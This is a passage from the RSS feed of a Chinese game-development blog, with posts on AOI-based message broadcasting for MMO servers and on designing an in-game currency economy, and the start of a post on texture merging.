href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/mmo%E7%9A%84%E6%8E%92%E9%98%9F%E7%B3%BB%E7%BB%9F.html" title="MMO 的排队系统">MMO 的排队系统</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%88%86%E7%A6%BB" title="分离" rel="tag">分离</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%B8%B8%E6%88%8F" title="游戏" rel="tag">游戏</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>服务器消息的广播</title>
		<link>http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html</link>
		<comments>http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 17:23:42 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[判断]]></category>
		<category><![CDATA[对象]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[解决]]></category>

		<guid isPermaLink="false">?p=301</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>MMO 的 engine 中，需要解决的最重要的问题之一，就是如何把游戏世界中的状态改变消息正确的通知给需要知道这条信息的玩家。通常，我们会设定每个玩家的 AOI ( Area Of Interest )。当一个对象发生改变时，它会把消息广播出去；那些 AOI 覆盖到它的玩家会收到这些广播消息。但是，在我们现在的游戏系统中，简单的 AOI 系统是不够用的。比如，类似 wow 中的盗贼隐身，明明已经离你很近，但是你的 client 却看不见他。诚然，我们可以在 client 判断这个逻辑，对盗贼不于显示，而 engine 依然广播盗贼移动的消息。对于不作弊的 client ，这是个简单的解决方案。但在理论上却提供了看见隐身人的可能性，所以，我期望有更好的方法让 engine 可以只将消息广播到那些必须接收这些消息的 client 。但是，在实现这个同时，又不能让底层 engine 牵扯太多逻辑信息。这里提出一个简单的方案：基本的 AOI 系统中，对象只有方位坐标是为 AOI 模块所知的。如果希望让每个玩家的视野有所不同，对于观察者（玩家）可能还需要多设定一个视野半径的参数。如上面举出的盗贼隐身一例，解决那种逻辑这些数据是不够的。我所构想的系统中，观察者有两个参数，雷达半径和雷达强度；而被观察者除了坐标外，还有一个信号半径的参数。（这里，玩家通常既是观察者又是被观察者；而 npc 是纯粹的被观察者）雷达半径就是前面所说的视野半径；而雷达强度决定了在离目标一定距离时，可以分辨的最大尺寸的物体。这个尺寸当然不是指对象的模型大小，而是指被观察者的信号半径。有了这几组数据，我们就可以决定被观察者是否为观察者所见。通常，雷达半径、强度，和物体的信号半径都是不变的。但是，游戏逻辑可以根据需要来改变它们；比如通过装备、升级、战斗时 buffer 等等。不过底层 engine 不需要了解这些逻辑的细节，只需要把基本参数拿出来算一下就可以确定了。我们把这些属性绑定在对象上，由 engine 决定对象的远程方法应该发给哪些人。进一步的，我们可以给对象的每个远程方法加一个权值，以优化网络通讯。比如，人物对象可以有一些诸如挥手一类的 emote 行为，可以有一个较低的信号半径权值。当一个玩家可以看见 500m 外的一个人物时，或许这个人物正在做的挥手动作他还看不见；直到他们接近到 250m 时才能收到挥手的消息。这样的系统，对于 3d 第一人称的 mmo 或许会有用。了解过我们公司另一个项目没能很好的解决这个问题，写此文将自己的想法记录之。 相关博文2010年05月23日 -- Rsync详解 [...]]]></description>
			<content:encoded><![CDATA[<p>MMO 的 engine 中，需要解决的最重要的问题之一，就是如何把游戏世界中的状态改变消息正确的通知给需要知道这条信息的玩家。<br/><br/>通常，我们会设定每个玩家的 AOI ( Area Of Interest )。当一个对象发生改变时，它会把消息广播出去；那些 AOI 覆盖到它的玩家会收到这些广播消息。<br/><br/>但是，在我们现在的游戏系统中，简单的 AOI 系统是不够用的。比如，类似 wow 中的盗贼隐身，明明已经离你很近，但是你的 client 却看不见他。诚然，我们可以在 client 判断这个逻辑，对盗贼不于显示，而 engine 依然广播盗贼移动的消息。对于不作弊的 client ，这是个简单的解决方案。但在理论上却提供了看见隐身人的可能性，所以，我期望有更好的方法让 engine 可以只将消息广播到那些必须接收这些消息的 client 。但是，在实现这个同时，又不能让底层 engine 牵扯太多逻辑信息。<span id="more-301"></span><br/><br/>这里提出一个简单的方案：<br/><br/>基本的 AOI 系统中，对象只有方位坐标是为 AOI 模块所知的。如果希望让每个玩家的视野有所不同，对于观察者（玩家）可能还需要多设定一个视野半径的参数。如上面举出的盗贼隐身一例，解决那种逻辑这些数据是不够的。<br/><br/>我所构想的系统中，观察者有两个参数，雷达半径和雷达强度；而被观察者除了坐标外，还有一个信号半径的参数。（这里，玩家通常既是观察者又是被观察者；而 npc 是纯粹的被观察者）<br/><br/>雷达半径就是前面所说的视野半径；而雷达强度决定了在离目标一定距离时，可以分辨的最大尺寸的物体。这个尺寸当然不是指对象的模型大小，而是指被观察者的信号半径。<br/><br/>有了这几组数据，我们就可以决定被观察者是否为观察者所见。通常，雷达半径、强度，和物体的信号半径都是不变的。但是，游戏逻辑可以根据需要来改变它们；比如通过装备、升级、战斗时 buffer 等等。不过底层 engine 不需要了解这些逻辑的细节，只需要把基本参数拿出来算一下就可以确定了。<br/><br/>我们把这些属性绑定在对象上，由 engine 决定对象的远程方法应该发给哪些人。进一步的，我们可以给对象的每个远程方法加一个权值，以优化网络通讯。比如，人物对象可以有一些诸如挥手一类的 emote 行为，可以有一个较低的信号半径权值。当一个玩家可以看见 500m 外的一个人物时，或许这个人物正在做的挥手动作他还看不见；直到他们接近到 250m 时才能收到挥手的消息。<br/><br/>这样的系统，对于 3d 第一人称的 mmo 或许会有用。了解过我们公司另一个项目没能很好的解决这个问题，写此文将自己的想法记录之。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%94%A8%E5%9B%9B%E5%8F%89%E6%A0%91%E7%AE%A1%E7%90%86%E6%95%A3%E5%B8%83%E5%9C%A8%E5%B9%B3%E9%9D%A2%E4%B8%8A%E7%9A%84%E5%AF%B9%E8%B1%A1.html" title="用四叉树管理散布在平面上的对象">用四叉树管理散布在平面上的对象</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F%E7%9A%84%E5%AF%B9%E6%97%B6%E4%BB%A5%E5%8F%8A%E5%90%8C%E6%AD%A5%E9%97%AE%E9%A2%98.html" title="网络游戏的对时以及同步问题">网络游戏的对时以及同步问题</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%88%A4%E6%96%AD" title="判断" rel="tag">判断</a>, <a href="http://www.5bay.cn/tag/%E5%AF%B9%E8%B1%A1" title="对象" rel="tag">对象</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%B8%B8%E6%88%8F" title="游戏" rel="tag">游戏</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>网络游戏中的货币系统</title>
		<link>http://www.5bay.cn/game-development/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81%E7%B3%BB%E7%BB%9F.html</link>
		<comments>http://www.5bay.cn/game-development/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81%E7%B3%BB%E7%BB%9F.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 17:22:05 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[自身]]></category>
		<category><![CDATA[设计]]></category>

		<guid isPermaLink="false">?p=300</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/game-development/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81%E7%B3%BB%E7%BB%9F.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>现在 MMO 中经济系统往往是设计的关键。可能是网络游戏发展的时间较短，并没有形成系统的理论的缘故，我所了解的网络游戏中都没有特别好的处理好经济系统中货币的控制和流通问题。我们知道，货币只是一种经济活动中一种媒介，货币本身是没有价值的。但是，网络游戏中却很难体现这一点。系统对游戏直接的货币投放是不可控制的，虽然很多设计人员企图控制，但只是收效不同而已。大体上，大家都是用玩家的在线时间换取系统货币总量的增加，而用玩家自身的修炼回收掉货币。还有一小部分是用上税和赌博的形式回收掉。云风正在设计的游戏很不一样，是基于国家间的贸易和战争而不是个人修炼的。强调一种政府的管理，而非玩家自发组成的团体。我更希望做出一个战略感的游戏，而不是强调团体战术或者个人战斗。国家间的竞争正是一种整体经济实力的竞争，所以经济系统尤其重要。我不得不慎重仔细的考虑这一块，方案考虑了好几次，这次总算有点条理了。详细的策划案只能写在内部网络上，这里放出的只能是初期的一些构想，希望能给同好们一些启发。首先只考虑单个服务器（单个国家）的发展：作为单个服务器，在没有政府的前提下，我们可只提供以物易物的手段。npc 不买卖物品，所以不需要提供货币。很多游戏经济崩溃后，其实又回到了这种状态，那么，还不如只提供这种手段。既而当政府成立后，再启动货币系统。这个时候，系统发放给政府一笔货币，作为运作之用，之后系统不会平空给政府任何货币了。货币其实是没有价值的，在初期，我们也不可能发生进行周遍贸易或者掠夺，所以暂时把服务器看成一个独立封闭的状态。这笔货币就是作为一种经济活动的辅助工具使用，作为一个服务器玩家的群体，若想让整个服务器更快的发展，就应该让货币更频繁的流通。如果少部分玩家由于私心占有了大量货币不花出去，在宏观上会导致国家发展缓慢。货币怎样在城市建设中发挥作用？这里以盖一幢建筑为例：假设一幢建筑需要三天建成，每天需要 100 单位的木材。游戏系统强制木材只能从木材厂采购，而不能由玩家直接提供。木材的政府收购价格由政府的一个机构（由玩家担任）确定，但是不能任意指定。只能在一个范围做浮动，每天的浮动范围也被限制。收购价一旦定下来，货币先支付给木材厂，第二天，如果木材厂中有指定数量的木材，则强制收购；如果没有达到限定数量的木材，则延期。木材提供请求将被放入队列，队列满的时候，不能再接受预订请求。对于木材厂，它本身拥有一定大小的现金库保存流动资金。每天木材厂可以在定额范围内向玩家征集木材（即木材厂的加工量是被限制的），价格由木材厂主根据现金存量标价。木材逐个单位的从玩家手头收购，每天的第一单位木材价格先被强制定为前一天收盘价，接着并允许木材厂主对其在小范围浮动。木材厂主每天注入一定数量的总金额，一旦这笔资金消耗干净，则不能再收购木材。每天可按一定时间周期（比如一小时或半小时）调整一次价格。如果一个时间单位没有人提供木材，木材价格会增长一个小幅度。在一个时间单位内提供超过一个单位的木材，从第2单位起，价格逐步下降。这个做法是让商品的价格一定程度上受到市场的影响。通过以上流程，可以将政府的货币转移到玩家身上。玩家便可以用货币为媒介做交易了。同时，政府对玩家之间的经济活动征收交易税，以回收货币。其他回收货币的方法还有很多，比如传统的让玩家以提升自己能力的形式回收等。但是整个服务器内的总体货币在这个循环内不变。额外的，我们设定一种特定的资源，比如金矿。只有政府自己可以把金矿制成货币。金矿可以由政府这个环节变成货币。私人是被禁止制币的。通过这个途径，整个国家的货币总量可以被得到增加。而整个系统内的货币总量的消耗途径则是永久不再玩游戏的玩家带走的。以上只是一些大略的构想，单从这点设计上，一定存在许多矛盾和不完善。想完整实施还需要很多的设计，文章仅仅是给有兴趣的朋友一些启发罢了。 相关博文2008年10月17日 -- 游戏数值公式的表象与本质 (0)2008年10月17日 -- 思维的惯性 (0)2008年10月17日 -- 游戏中的货币 (0)2008年10月17日 -- 随机数有多随机？ (0)2008年10月17日 -- 游戏的帧率控制 (0)2008年10月17日 -- 游戏数值调整~ (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- ajax的缺点 (0)2008年10月17日 -- 多进程的游戏服务器设计 (0)2008年10月17日 -- 服务器消息的广播 (0)2008年10月17日 -- 网络游戏的对时以及同步问题 (0)2008年10月17日 -- 贴图的合并 (0)2008年10月17日 -- 以人为本，美术资源的归档 (0)2008年10月17日 -- 游戏，一种奇怪的软件 (0) 标签Tags：人, 工具, [...]]]></description>
			<content:encoded><![CDATA[<p>现在 MMO 中经济系统往往是设计的关键。可能是网络游戏发展的时间较短，并没有形成系统的理论的缘故，我所了解的网络游戏中都没有特别好的处理好经济系统中货币的控制和流通问题。<br/><br/>我们知道，货币只是一种经济活动中一种媒介，货币本身是没有价值的。但是，网络游戏中却很难体现这一点。系统对游戏直接的货币投放是不可控制的，虽然很多设计人员企图控制，但只是收效不同而已。大体上，大家都是用玩家的在线时间换取系统货币总量的增加，而用玩家自身的修炼回收掉货币。还有一小部分是用上税和赌博的形式回收掉。<br/><br/>云风正在设计的游戏很不一样，是基于国家间的贸易和战争而不是个人修炼的。强调一种政府的管理，而非玩家自发组成的团体。我更希望做出一个战略感的游戏，而不是强调团体战术或者个人战斗。<span id="more-300"></span><br/><br/>国家间的竞争正是一种整体经济实力的竞争，所以经济系统尤其重要。我不得不慎重仔细的考虑这一块，方案考虑了好几次，这次总算有点条理了。<br/><br/>详细的策划案只能写在内部网络上，这里放出的只能是初期的一些构想，希望能给同好们一些启发。<br/><br/>首先只考虑单个服务器（单个国家）的发展：作为单个服务器，在没有政府的前提下，我们可只提供以物易物的手段。npc 不买卖物品，所以不需要提供货币。很多游戏经济崩溃后，其实又回到了这种状态，那么，还不如只提供这种手段。既而当政府成立后，再启动货币系统。<br/><br/>这个时候，系统发放给政府一笔货币，作为运作之用，之后系统不会平空给政府任何货币了。货币其实是没有价值的，在初期，我们也不可能发生进行周遍贸易或者掠夺，所以暂时把服务器看成一个独立封闭的状态。这笔货币就是作为一种经济活动的辅助工具使用，作为一个服务器玩家的群体，若想让整个服务器更快的发展，就应该让货币更频繁的流通。如果少部分玩家由于私心占有了大量货币不花出去，在宏观上会导致国家发展缓慢。<br/><br/>货币怎样在城市建设中发挥作用？这里以盖一幢建筑为例：<br/><br/>假设一幢建筑需要三天建成，每天需要 100 单位的木材。游戏系统强制木材只能从木材厂采购，而不能由玩家直接提供。木材的政府收购价格由政府的一个机构（由玩家担任）确定，但是不能任意指定。只能在一个范围做浮动，每天的浮动范围也被限制。收购价一旦定下来，货币先支付给木材厂，第二天，如果木材厂中有指定数量的木材，则强制收购；如果没有达到限定数量的木材，则延期。木材提供请求将被放入队列，队列满的时候，不能再接受预订请求。<br/><br/>对于木材厂，它本身拥有一定大小的现金库保存流动资金。每天木材厂可以在定额范围内向玩家征集木材（即木材厂的加工量是被限制的），价格由木材厂主根据现金存量标价。木材逐个单位的从玩家手头收购，每天的第一单位木材价格先被强制定为前一天收盘价，接着并允许木材厂主对其在小范围浮动。木材厂主每天注入一定数量的总金额，一旦这笔资金消耗干净，则不能再收购木材。每天可按一定时间周期（比如一小时或半小时）调整一次价格。如果一个时间单位没有人提供木材，木材价格会增长一个小幅度。在一个时间单位内提供超过一个单位的木材，从第2单位起，价格逐步下降。这个做法是让商品的价格一定程度上受到市场的影响。<br/><br/>通过以上流程，可以将政府的货币转移到玩家身上。玩家便可以用货币为媒介做交易了。同时，政府对玩家之间的经济活动征收交易税，以回收货币。其他回收货币的方法还有很多，比如传统的让玩家以提升自己能力的形式回收等。但是整个服务器内的总体货币在这个循环内不变。<br/><br/>额外的，我们设定一种特定的资源，比如金矿。只有政府自己可以把金矿制成货币。金矿可以由政府这个环节变成货币。私人是被禁止制币的。通过这个途径，整个国家的货币总量可以被得到增加。<br/><br/>而整个系统内的货币总量的消耗途径则是永久不再玩游戏的玩家带走的。<br/><br/>以上只是一些大略的构想，单从这点设计上，一定存在许多矛盾和不完善。想完整实施还需要很多的设计，文章仅仅是给有兴趣的朋友一些启发罢了。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E6%95%B0%E5%80%BC%E5%85%AC%E5%BC%8F%E7%9A%84%E8%A1%A8%E8%B1%A1%E4%B8%8E%E6%9C%AC%E8%B4%A8.html" title="游戏数值公式的表象与本质">游戏数值公式的表象与本质</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E7%9A%84%E5%B8%A7%E7%8E%87%E6%8E%A7%E5%88%B6.html" title="游戏的帧率控制">游戏的帧率控制</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E6%95%B0%E5%80%BC%E8%B0%83%E6%95%B4%7E.html" title="游戏数值调整~">游戏数值调整~</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html" title="服务器消息的广播">服务器消息的广播</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F%E7%9A%84%E5%AF%B9%E6%97%B6%E4%BB%A5%E5%8F%8A%E5%90%8C%E6%AD%A5%E9%97%AE%E9%A2%98.html" title="网络游戏的对时以及同步问题">网络游戏的对时以及同步问题</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E8%B4%B4%E5%9B%BE%E7%9A%84%E5%90%88%E5%B9%B6.html" title="贴图的合并">贴图的合并</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%EF%BC%8C%E4%B8%80%E7%A7%8D%E5%A5%87%E6%80%AA%E7%9A%84%E8%BD%AF%E4%BB%B6.html" title="游戏，一种奇怪的软件">游戏，一种奇怪的软件</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%B8%B8%E6%88%8F" title="游戏" rel="tag">游戏</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E8%BA%AB" title="自身" rel="tag">自身</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81%E7%B3%BB%E7%BB%9F.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>贴图的合并</title>
		<link>http://www.5bay.cn/game-development/%E8%B4%B4%E5%9B%BE%E7%9A%84%E5%90%88%E5%B9%B6.html</link>
		<comments>http://www.5bay.cn/game-development/%E8%B4%B4%E5%9B%BE%E7%9A%84%E5%90%88%E5%B9%B6.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 17:20:01 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[解决方法]]></category>

		<guid isPermaLink="false">?p=298</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/game-development/%E8%B4%B4%E5%9B%BE%E7%9A%84%E5%90%88%E5%B9%B6.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>3d 游戏会用到大量的帖图，许多显卡要求贴图的尺寸必须是2的整数次方。这样，许多贴图的边角都会被浪费掉。尤其是大量无关的小贴图，我们通常想把他们合并在一张贴图上，尽量充满整个区域。合并这些零碎贴图的算法，在学术上被称为排料问题。我尚未找到特别好的解决方法，所以这里就不展开写了。这里想讨论的是这些小贴图的管理。我们现在的思路是，在engine 